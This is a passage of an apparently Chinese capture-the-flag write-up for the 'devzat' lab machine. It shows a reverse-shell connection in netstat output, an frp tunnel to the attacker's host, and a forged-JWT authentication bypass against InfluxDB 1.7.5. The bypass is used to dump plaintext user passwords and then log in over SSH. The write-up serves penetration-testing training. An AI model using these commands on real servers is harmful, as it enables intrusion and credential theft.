code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__meta">$</span> <span class="code-snippet__string">netstat -ant</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Active</span> <span class="code-snippet__string">Internet connections (servers and established)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Proto</span> <span class="code-snippet__string">Recv-Q Send-Q Local Address           Foreign Address         State      </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      0 127.0.0.1:49532         127.0.0.1:5000          FIN_WAIT2  </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      0 127.0.0.1:5000          127.0.0.1:49532         CLOSE_WAIT </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      1 10.10.11.118:52254      1.1.1.1:53              SYN_SENT   </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      0 10.10.11.118:47040      10.10.14.50:4444        CLOSE_WAIT </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp</span>        <span class="code-snippet__string">0      0 10.10.11.118:47472      10.10.14.50:4444        ESTABLISHED</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 :::80                   :::*                    LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 :::22                   :::*                    LISTEN     </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tcp6</span>       <span class="code-snippet__string">0      0 :::8000                 :::*                    LISTEN</span></span></code><code><span class="code-snippet_outer"><br/></span></code></pre><p cid="n60" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">本地开有两个端口 8443 8086在服务器是看不出来是什么服务。</span></p><p cid="n61" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">有一个ssh连接，走一个ssh隧道</span></p><pre spellcheck="false" lang="bash" cid="n62" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(51, 0, 170);">ssh</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-L</span>  <span style="box-sizing: border-box;color: rgb(17, 102, 68);">8086</span>:127.0.0.1:8086 patrick@devzat.htb <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-p</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">8000</span></span></pre><p cid="n63" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">不行，</span><span style="background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);">换</span><span style="background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);">frp</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">cat &lt;&lt; EOF &gt;3.txt</span></code><code><span class="code-snippet_outer">[common]</span></code><code><span class="code-snippet_outer">server_addr = 10.10.14.50</span></code><code><span class="code-snippet_outer">server_port = 7000</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">[ssh]</span></code><code><span class="code-snippet_outer">type = tcp</span></code><code><span class="code-snippet_outer">local_ip = 127.0.0.1</span></code><code><span class="code-snippet_outer">local_port = 8086</span></code><code><span class="code-snippet_outer">remote_port = 6000</span></code></pre><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">nmap</span> <span class="code-snippet__string">172.16.0.4 -sV -p 6000</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Starting</span> <span class="code-snippet__string">Nmap 7.92 ( https://nmap.org ) at 2021-12-22 23:49 ?D1ú±ê×?ê±??</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Nmap</span> <span class="code-snippet__string">scan report for 172.16.0.4</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Host</span> <span class="code-snippet__string">is up (0.00s latency).</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">PORT</span>     <span class="code-snippet__string">STATE SERVICE VERSION</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">6000/tcp</span> <span class="code-snippet__string">open  http    InfluxDB http admin 1.7.5</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">MAC</span> <span class="code-snippet__string">Address: 00:0C:29:E9:FA:DE (VMware)</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Service</span> <span class="code-snippet__string">detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Nmap</span> <span class="code-snippet__string">done: 1 IP address (1 host up) scanned in 8.17 seconds</span></span></code></pre><p cid="n68" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">还是无法访问web界面，但是成功扫描到一些目录</span></p><pre spellcheck="false" lang="bash" cid="n69" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[23:55:47] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">200</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>    2KB <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /debug/pprof</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[23:55:47] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">200</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>    9KB <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /debug/pprof/goroutine<span style="box-sizing: border-box;color: rgb(0, 0, 255);">?debug</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[23:55:47] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">200</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>   19KB <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /debug/pprof/heap</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[23:56:09] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">200</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>    5KB <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /metrics</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[23:56:21] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">204</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>    0B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /ping</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[23:56:34] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">204</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>    0B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /status</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[23:56:34] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">204</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>    0B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /status<span style="box-sizing: border-box;color: rgb(0, 0, 255);">?full</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(34, 17, 153);">true</span></span></pre><pre spellcheck="false" lang="" cid="n70" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">curl -G http://127.0.0.1:6000/</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{&#34;error&#34;:&#34;unable to parse authentication credentials&#34;}</span></pre><p cid="n71" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">通过网络可以得到InfluxDB http admin 1.7.5存在一个认证绕过的漏洞，认证方法是Jwt,使用python -c &#34;import time;print(time.time())&#34;可以直接获取时间戳，然后创建一个jwt token:</span></p><pre spellcheck="false" lang="bash" cid="n73" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;alg&#34;</span>: <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;HS256&#34;</span>}</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;username&#34;</span>:<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;admin&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;exp&#34;</span>:1640199606}</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><p><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ</span></p></pre><pre spellcheck="false" lang="bash" cid="n75" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">C:\&gt;<span style="box-sizing: border-box;color: rgb(51, 0, 170);">curl</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-G</span> http://172.16.0.4:6000/query  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-H</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ&#34;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-i</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">--data-urlencode</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;q=show databases&#34;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;results&#34;</span>:[{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;statement_id&#34;</span>:0,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;series&#34;</span>:[{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;name&#34;</span>:<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;databases&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;columns&#34;</span>:[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;name&#34;</span>],<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;values&#34;</span>:[[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;devzat&#34;</span>],[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;_internal&#34;</span>]]}]}]}</span></pre><pre spellcheck="false" lang="bash" cid="n76" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">C:\&gt;<span style="box-sizing: border-box;color: rgb(51, 0, 170);">curl</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-G</span> http://172.16.0.4:6000/query<span style="box-sizing: border-box;color: rgb(0, 0, 255);">?db</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span>devzat  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-H</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ&#34;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">--data-urlencode</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;q=show measurements&#34;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;results&#34;</span>:[{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;statement_id&#34;</span>:0,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;series&#34;</span>:[{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;name&#34;</span>:<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;measurements&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;columns&#34;</span>:[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;name&#34;</span>],<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;values&#34;</span>:[[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;user&#34;</span>]]}]}]}</span></pre><pre spellcheck="false" lang="bash" cid="n77" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">C:\Users\Administrator&gt;curl <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-G</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;http://172.16.0.4:6000/query?q=show+field+keys&amp;db=devzat&#34;</span>  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-H</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ&#34;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-i</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;results&#34;</span>:[{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;statement_id&#34;</span>:0,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;series&#34;</span>:[{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;name&#34;</span>:<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;user&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;columns&#34;</span>:[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;fieldKey&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;fieldType&#34;</span>],<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;values&#34;</span>:[[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;enabled&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;boolean&#34;</span>],[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;password&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;string&#34;</span>],[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;username&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;string&#34;</span>]]}]}]}</span></pre><p cid="n78" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><pre spellcheck="false" lang="bash" cid="n79" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">C:\&gt;<span style="box-sizing: border-box;color: rgb(51, 0, 170);">curl</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-G</span> http://172.16.0.4:6000/query<span style="box-sizing: border-box;color: rgb(0, 0, 255);">?db</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span>devzat  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-H</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ&#34;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">--data-urlencode</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;q=select * from \&#34;user\&#34;&#34;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;results&#34;</span>:[{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;statement_id&#34;</span>:0,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;series&#34;</span>:[{<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;name&#34;</span>:<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;user&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;columns&#34;</span>:[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;time&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;enabled&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;password&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;username&#34;</span>],<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;values&#34;</span>:[[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;2021-06-22T20:04:16.313965493Z&#34;</span>,false,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;WillyWonka2021&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;wilhelm&#34;</span>],[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;2021-06-22T20:04:16.320782034Z&#34;</span>,true,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;woBeeYareedahc7Oogeephies7Aiseci&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;catherine&#34;</span>],[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;2021-06-22T20:04:16.996682002Z&#34;</span>,true,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;RoyalQueenBee$&#34;,&#34;charles&#34;</span>]]}]}]}</span></pre><p cid="n80" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">找到了catherine用户的密码：</span></p><pre spellcheck="false" lang="" cid="n81" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">catherine:woBeeYareedahc7Oogeephies7Aiseci</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ssh catherine@10.10.11.118</span><br/></pre><h4 cid="n82" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">catherine -&gt; root</span></h4><pre spellcheck="false" lang="" cid="n83" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">find /var -user catherine 2&gt;/dev/null</span></pre><p cid="n84" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">在/var/backups目录下找到了两个备份文件devzat-main.zip和devzat-dev.zip</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="diff"><code><span class="code-snippet_outer">catherine@devzat:/var/backups$ ls -al</span></code><code><span class="code-snippet_outer">ls -al</span></code><code><span class="code-snippet_outer">total 1132</span></code><code><span class="code-snippet_outer">drwxr-xr-x 2 root     root       4096 Dec 23 06:25 .</span></code><code><span class="code-snippet_outer">drwxr-xr-x 14 root     root       4096 Jun 22 2021 ..</span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- 1 root     root       51200 Dec 23 06:25 alternatives.tar.0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- 1 root     root       59142 Sep 28 18:45 apt.extended_states.0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- 1 root     root       6588 Sep 21 20:17 apt.extended_states.1.gz</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- 1 root     root       6602 Jul 16 06:41 apt.extended_states.2.gz</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw------- 1 catherine catherine 28297 Jul 16 07:00 